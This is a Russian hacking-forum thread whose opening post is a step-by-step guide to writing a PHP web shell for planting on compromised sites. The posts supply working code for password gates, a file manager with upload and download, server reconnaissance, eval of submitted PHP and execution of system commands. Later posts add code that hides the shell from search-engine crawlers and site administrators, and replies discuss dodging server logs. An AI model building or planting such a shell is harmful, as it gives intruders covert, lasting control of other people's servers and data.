Собираем свой веб-шелл

Discussion in 'Уязвимости' started by Zed0x, 28 Aug 2012.

  1. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    0. ИНТРО
    Сделаю маленькое отступление от тематики и разъясню, что к чему. Данная статья написана в стиле HowTo - как собрать веб-шелл. Вообще в идеале, можно было бы написать большую теорию о нужном функционале шелла и в конце предложить Вам конструктор по его сборке из уже готовых элементов, но все таки я придерживаюсь мнения, что лучше полноценной практики после теории Нет. Вообще шеллов в интернете жопой ешь, но все таки согласитесь, что во-первых своё - родное, оно по приятнее будет, да и сам процесс создания оболочки вас много должен научить. Тем более, иногда бывают такие ситуации когда вес загружаемого файла не позволяет загрузить полноценный шелл, а после прочтения данной статьи, вы за несколько минут можете собрать тяп-ляп шелл, который будет отлично функционировать. :)

    1. ФУНКЦИОНАЛЬНАЯ ЧАСТЬ
    [~] Авторизация
    [~] Файловый менеджер
    [~] Загрузка файла на сервер
    [~] Вывод информации о сервере
    [~] Исполнение PHP кода
    [~] Исполнение SHELL кода

    2. Авторизация
    Итак, сейчас будем рассматривать два способа авторизации, соответственно отличающихся друг от друга по многим фактором, от внешнего вида, до самого способа аутентификации.
    2. Авторизация через системную форму;

    1. Авторизация через веб-форму
    Чтобы наша веб-форма авторизации в шелле была видна хацкеру, мы должны её "построить", а строить её будет HTML код ниже:
    [​IMG]
    PHP:
     <FORM method='POST' align='center'>
    <
    label>Password:</label><br>
    <
    INPUT type='password' name='pass'>
    <
    INPUT type='submit' name='authSUBMIT' value='Enter'>
    </
    FORM
    Это вообще, самый минимум, который только может быть и по мне так и надо оставить это дело, не надо на этом этапе подключать css и делать красивейшие формы - это лишние kb(!!!). Теперь давайте напишем скрипт, который будет обрабатывать эту форму:
    PHP:
    $password "pass"// MD5
    $pass=$_POST['pass']; 

    if(
    md5($pass)==$password)

    // код шелла 
    }  
    2. Авторизация через системную форму
    Приступим к рассмотрению более надежного варианта авторизации в шелле - системная авторизация. При обращении к шеллу (site.com/shell.php) появится окно с двумя полями - логин и пароль:
    [​IMG]

    Как вы наверно уже знаете, для такого способа авторизации HTML форма не нужна, поэтому сразу напишем PHP скрипт:
    PHP:
    $login="user";  
    $password="pass"// password in md5 

    if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$login || md5($_SERVER['PHP_AUTH_PW'])!==$password) { 
    header('WWW-Authenticate: Basic realm="Заголовок формы"'); 
    header('HTTP/1.0 401 Unauthorized'); 
    exit(
    "Access Denied");} 
    echo 
    "Access granted!"
    //тут код самого шелла 
    А да, чуть не забыл. Если хотите не за*бывать себя, то лучше поработайте с куками или сессиями и дополните ПЕРВУЮ авторизацию, для второго способа этого НЕ требуется. (еще один плюс за #2)

    3. ФАЙЛОВЫЙ МЕНЕДЖЕР
    Ну вот и подошло время к самому главному составляющему нашего шелла - файловая система! И если вы думаете, что файловый менеджер это ls- la, то готов вас огорчить, ведь это не только листинг файликов и папок, но и действия с ними, типа - удаление, переименования и т.д.
    PHP:
    $d=@getcwd();
    $dirs=array(); 
    $files=array(); 
    $dh = @opendir($d); 
    while (!((
    $file readdir($dh)) === false)) {
    if (
    $file=="." || $file=="..") continue;
    if (@
    is_dir("$d/$file")) { 
          
    $dirs[]=$file
    }else{ 
          
    $files[]=$file
          } 
       
    sort($dirs); 
       
    sort($files); 

    for(
    $i=0$i<count($dirs); $i++){ // Вывод папок
    echo "<b>$dirs[$i]</b><br>";

    for(
    $i=0$i<count($files); $i++){ // Вывод файлов
    echo "$files[$i]<br>";
    }  
    В данном примере переменная $d отвечает за полный путь до текущей директории, получаемый функцией get_cwd(), кстати Вы можете убрать из кода первую строку, тогда $d нужно передавать из url (shell.php?d=/home/user/htdocs/site) :)

    Сейчас буду описывать функционал файлового менеджера, в формате: описание-код, а уже вам решать как и куда вы его будите впихивать, можете организовать как в wso, можете как в r57, можете изобрести что-то новое :eek:

    1. Создание файлов
    PHP:
    $fp=fopen($name "w"); 
    fwrite($fp,"");  
    Учтите здесь такой нюанс, что в переменную $name, должно быть записано полное имя файла, то есть, что-то вроде: /home/users/domains/site/public_html/name.txt, как это получить? Очень просто! Включаем браин и думаем где это уже встречалось в коде? Конечно же в файловом менеджере, переменная $d там отвечает за полный путь до директории, она получается из функции getcwd(), соответственно с помощью конкатенации и веб-формы делаем отличную создавалку файлов :)

    2. Создание папочек :D
    PHP:
    mkdir($name0777);
    С $name повторяться не буду, скажу лишь про 0777 - это права на доступ к папке, спросите их так же через веб-форму и пользователя.

    3. Переименование файлов
    PHP:
    rename($previous"$new_name");
    Опять все аналогично с $name - полное имя файла.

    4. Копирование файлов
    PHP:
    copy($source"$copy_to");
    NO comments, baby! ;) Все проще не куда.

    5. Удаление файлов/папок/папочек
    PHP:
    unlink($name);
    6. Скачивание файлов
    PHP:
    function file_download($filename$mimetype='application/octet-stream') {
      if (
    file_exists($filename)) {
        
    header($_SERVER["SERVER_PROTOCOL"] . ' 200 OK');
        
    header('Content-Type: ' $mimetype);       
        
    header('Last-Modified: ' gmdate('r'filemtime($filename)));
        
    header('ETag: ' sprintf('%x-%x-%x'fileinode($filename), filesize($filename), filemtime($filename))); // Уникальный идентификатор документа
        
    header('Content-Length: ' . (filesize($filename))); // Размер файла
        
    header('Connection: close');
        
    header('Content-Disposition: attachment; filename="' basename($filename) . '";');
        echo 
    file_get_contents($filename);
      } else {
        
    header($_SERVER["SERVER_PROTOCOL"] . ' 404 Not Found');
        
    header('Status: 404 Not Found');
      }
      exit;
    }
    Здесь, что-то новое - header()! Это штука определяет для браузера, что ему нужно именно скачать этот файл. Здесь скачка организованна через функцию, по идеи у вас весь функционал должен быть таковым, поэтому если вы еще не привели всё в функции, то сделайте это на этом этапе.

    7. Загрузка/UPLOAD файлов
    Так, теперь приступим к мега важной функции - upload file :) Здесь все просто, но будем делать в два шага. Сначала создадим форму на HTML:
    PHP:
    <FORM>
    <
    input name=where value='путь куда закачивать'>
    <
    input type=file name=text>
    <
    input name=upload value='имя нового файла'>
    <
    input type=submit value=Upload name=uploadfile>
    </
    FORM>
    Теперь пишем маленький PHP скрипт, который будет дорабатывать все это дело:
    PHP:
    $where=$_POST['where']; 
    $upload=$_POST['upload']; 
    $where=str_replace("//","/",$where); 
    $upload=$_FILES['text']['name']; 
    $uploadfile "$where/".$upload
    if (@
    move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) { 
    $uploadfile=str_replace("//","/",$uploadfile); 
    }  
    ЗЫ Можете сделать multiupload, принцип надеюсь понятен. :)

    4. ABOUT SERVER
    Так, теперь напишем маленький about о вашем сервере. Ниже приведу несколько команд для такого вот трюка:
    1. Версия ОС:
    PHP:
    php_uname();
    2. Server IP:
    PHP:
    $_SERVER["SERVER_ADDR"]
    3. Client IP:
    PHP:
    $_SERVER['REMOTE_ADDR']
    4. Версия PHP:
    PHP:
    phpversion();
    5. Safe mode:
    PHP:
    ini_get('safe_mode');
    Ну и так далее, вообщем это все основное. Если вам нужно, что-то дополнительное то аля google или сп*здите у wso, r57 :D

    5. Выполнение PHP/SHELL команд
    1. PHP код делать очень очень очень очень очень очень легко. Расписывать ничего не буду, просто держите код:
    PHP:
    echo eval($_POST['php']);
    Надеюсь понятно, что вы должны создать веб-форму post и т.д....

    2. Выполнение shell кода будет реализовано на большем кол-ве строк, но все же - это легко.
    PHP:
    function shell($cmd){ 
      
    $fp popen($cmd,"r"); 
      { 
        
    $result ""
        while(!
    feof($fp)){$result.=fread($fp,1024);} 
        
    pclose($fp); 
      } 
      
    $ret $result
      
    $ret convert_cyr_string($ret,"d","w"); 
    return 
    $ret;} 
    echo 
    "
    <form method='POST'> 
    <textarea name='command' rows='5' cols='71'>
    $command</textarea><br> 
    echo @HTMLspecialchars(shell(
    $command)); 
    <input type='submit' value='Выполнить'></form>"

    Здесь ничего объяснять не буду, т.к. все как всегда понятно.

    6. Итог
    Статейка получилось приличной по объему, поэтому многие доп. функции в статью не вошли, но могу лишь подать идейки:
    [1] Сделать ajax обновление
    [2] Кодирование в md5,base64,url encode/decode и т.д.
    [3] Замутить mysql-менеджер, но это уже вообще отдельная статья
    [4] Добавить различие в цветовой гамме папок и файлов, скрытых файлов и т.п.
     
    #1 Zed0x, 28 Aug 2012
    Last edited: 28 Aug 2012
    AL04E, FHT, M_script and 1 other person like this.
  2. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Base64 encode/decode

    Base64 encode/decode

    Кодирование/Декодирование мы будем делать за счет пользовательских функций в PHP: base64_encode и base64_decode.

    [​IMG]

    Итак,сначала пишем веб-форму для сего дела:
    PHP:
    <FORM method='POST'
     <
    label><b>Base64 encode/decode:</b></label
     <
    textarea name='base64' rows='5' cols='71'></textarea><br>  
     <
    input type='submit' name='submit' value='Encode'
     <
    input type='submit' name='submit2' value='Decode'
    </
    FORM>
    Теперь напишем PHP скрипт, который будет обрабатывать текст и кодировать/декодировать его:
    PHP:
    <?php 
    IF (isset($_POST['submit'])) { 
      
    $base64 $_POST['base64']; 
      
    $encode base64_encode($base64); 
      echo 
    "Encode: ".$encode;

    IF (isset(
    $_POST['submit2'])) { 
      
    $base64 $_POST['base64']; 
      
    $decode base64_decode($base64); 
      echo 
    "Decode: ".$decode;

    ?>
    Код одним файлом - pastebin
    DEMO файл скрипта - тЫк
     
    #2 Zed0x, 29 Aug 2012
    Last edited: 29 Aug 2012
  3. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Ты нечего не путаешь?
    POST- запросы в большинстве случаев не логируються(их тело).
    GET - в большинстве случаев логируються, и легко понять по URL что и куда передается.
     
  4. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    URL encode/decode

    URL encode/decode

    URL кодирование и декодирование мы будем делать через встроенные или как их еще называют - пользовательские функции в PHP: urlencode и urldecode.

    [​IMG]

    Напишем HTML форму:
    PHP:
    <FORM method='POST'
     <
    label><b>URL encode:</b></label
     <
    input type='text' name='url'>
     <
    input type='submit' name='submit' value='Encode'>

     <
    label><b>URL decode:</b></label>
     <
    input type='text' name='url2'>
     <
    input type='submit' name='submit2' value='Decode'>  
    </
    FORM>
    А вот и PHP скрипт который обработает данные из вышенаписанной формы:
    PHP:
    <?php 
    IF (isset($_POST['submit'])) { 
      
    $url $_POST['url']; 
      
    $encode urlencode($url); 
      echo 
    "Encode: ".$encode;

    IF (isset(
    $_POST['submit2'])) { 
      
    $url2 $_POST['url2']; 
      
    $decode urldecode($url2); 
      echo 
    "Decode: ".$decode;

    ?>
    Код в одном файле - pastebin
    DEMO файл скрипта - тЫк
     
  5. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Исправил.
     
  6. Zombi ****

    Zombi **** Elder - Старейшина

    Joined:
    4 Apr 2009
    Messages:
    166
    Likes Received:
    183
    Reputations:
    17
    да ты гуру расковырял всо и давай плодить статьи
     
  7. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Скрываем шелл от поисковых систем

    Прячем шелл от ПС

    Способ #1
    Шелл не должен индексироваться поисковыми системами, иначе есть вероятность не только спалить его, но и заиметь левых владельцев. Поэтому будем проверять глобальный массив $_SERVER['HTTP_USER_AGENT'] на наличии в нем google, yandex и прочей нечисти и говорить им что на данном адресе 404 error.
    Вот скрипт на PHP:
    PHP:
    if(!empty($_SERVER['HTTP_USER_AGENT'])) {
        
    $userAgents = array("Google""Slurp""MSNBot""ia_archiver""Yandex""Rambler");
        if(
    preg_match('/' implode('|'$userAgents) . '/i'$_SERVER['HTTP_USER_AGENT'])) {
            
    header('HTTP/1.0 404 Not Found');
            exit;
        }
    }
    Способ #2
    На счет первого способа скрытия шелла была высказанна объективная критика, что это не дает 100% защиты от скрытия шелла, поэтому сейчас будем реализовать более безопасный вариант. Будет проверяться глобальный массив $_SERVER['HTTP_USER_AGENT'] на схожесть с заранее записанным вариантом:
    PHP:
    if($_SERVER['HTTP_USER_AGENT']!=qwerty) { 
    header('HTTP/1.0 404 Not Found'); 
    echo 
    "<h1>404 Not Found</h1>";
    }  
    else echo 
    "код оболочки...";
    Заменять User Agent будем через плагин для FireFox - User Agent Switcher , актуальная версия на сегодняшний день 0.7.3.

    Спасибо за идею - BigBear, mironich!
     
    #7 Zed0x, 29 Aug 2012
    Last edited: 29 Aug 2012
  8. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    У вас есть другие варианты написать шелл? Это стандартная реализация оболчки на PHP, по другому вы этого не реализуете и wso здесь совсем не причем, ВСЁ что написано выше есть в любом уважающем себя шелле.
     
  9. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Абсолютно неэффективно. Ну то есть да, для начала неплохо, но 100% защиты не даёт. Бот других поисковиков найдёт запросто.

    ИМХО, надо резать по IP сетей поисковиков (знающие люди имеют их в бооооольшом количестве). Это хоть как то убережёт ваш шелл от чужих глаз.

    Была ещё идея юзать определённый User-Agent и только по нему авторизовывать, но геморно это как то...
     
    _________________________
    1 person likes this.
  10. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Хорошая идея, в Mozila есть как-раз плагин User-Agent switcher, меняет User-agent в один клик.
    Но если вставить специфический юзер агент, в логах выделяться будет.
     
  11. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    BigBear, а в чем сложность твоей идеи? Отписал свою реализацию в соответствующем посте, если я её правильно понял конечно...
     
  12. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Сложность в неудобстве использования. Я в течение суток пользуюсь и Мозиллой, и Хромом, и Оперой. Мне теперь везде Юзер-Агенты менять чтобы на шеллы заходить ??

    Другое дело, если создать портэйбл версию Opera или Mozilla (первое уже встречал) и заходить по шеллам только с портативного браузера с заранее прописанным юзер-агентом. Но тогда придётся везде таскать с собой такой портативный браузер на флэшке или хранить в каком то репозитории...

    По этой фразе грех не найти все твои шеллы, тем более пишешь с грамматической ошибкой...

    Лучше убрать её совсем.
     
    _________________________
    #12 BigBear, 29 Aug 2012
    Last edited: 29 Aug 2012
  13. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Поставил в mozilla тот плагин, теперь всегда user agent - "qwerty", точто так же можно сделать и в chrome, про opera не знаю - не пользуюсь. Так, что по мне не какой сложности в этом нет. Другой вопрос надо ли это вообще? Если говно сайт, то ни кто в логи не полезет и шеллы искать не будет, если серьезный орешек, то смысла держать там шеллы долгое время?
     
  14. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Это конечно все интиресно, но не кажется ли вам что это больше из раздела PHP-кодинга и что вообщем то мешает просто доработать нужными фичами уже широко используемые шелы а не создовать велосипед, а вообщем не плохо)
     
    _________________________
  15. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,183
    Likes Received:
    618
    Reputations:
    690
    http://kronus.me/cn/wso-builder/1.04/
    хорошая реализация сборки своего шелла )
     
    _________________________
  16. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Прикольная вещь =)
     
  17. sharm

    sharm New Member

    Joined:
    4 Dec 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Мне одному кажутся схожими эти две статьи:
    Изложенная здесь и _http://www.xaker.name/forvb/showthread.php?t=11344
    ?
     
  18. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Да, статья и вправду слизана, кое где переоформлена для красоты, а так все тоже самое. Автор (zed0x) - не хороший человек, ни копирайтов, ни спасибо настоящему автору, не хорошо!
     
  19. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    стоило бы доваить в статьи варик как заныкать шелл от админа ( чтобы в логах по крайней мере не палился )
    в любой php скрипт на доноре в самое начало кидаем код
    таким образом скрипт отработает только если в куке есть blablabla
    ну соответственно в логах будет выглядеть это както так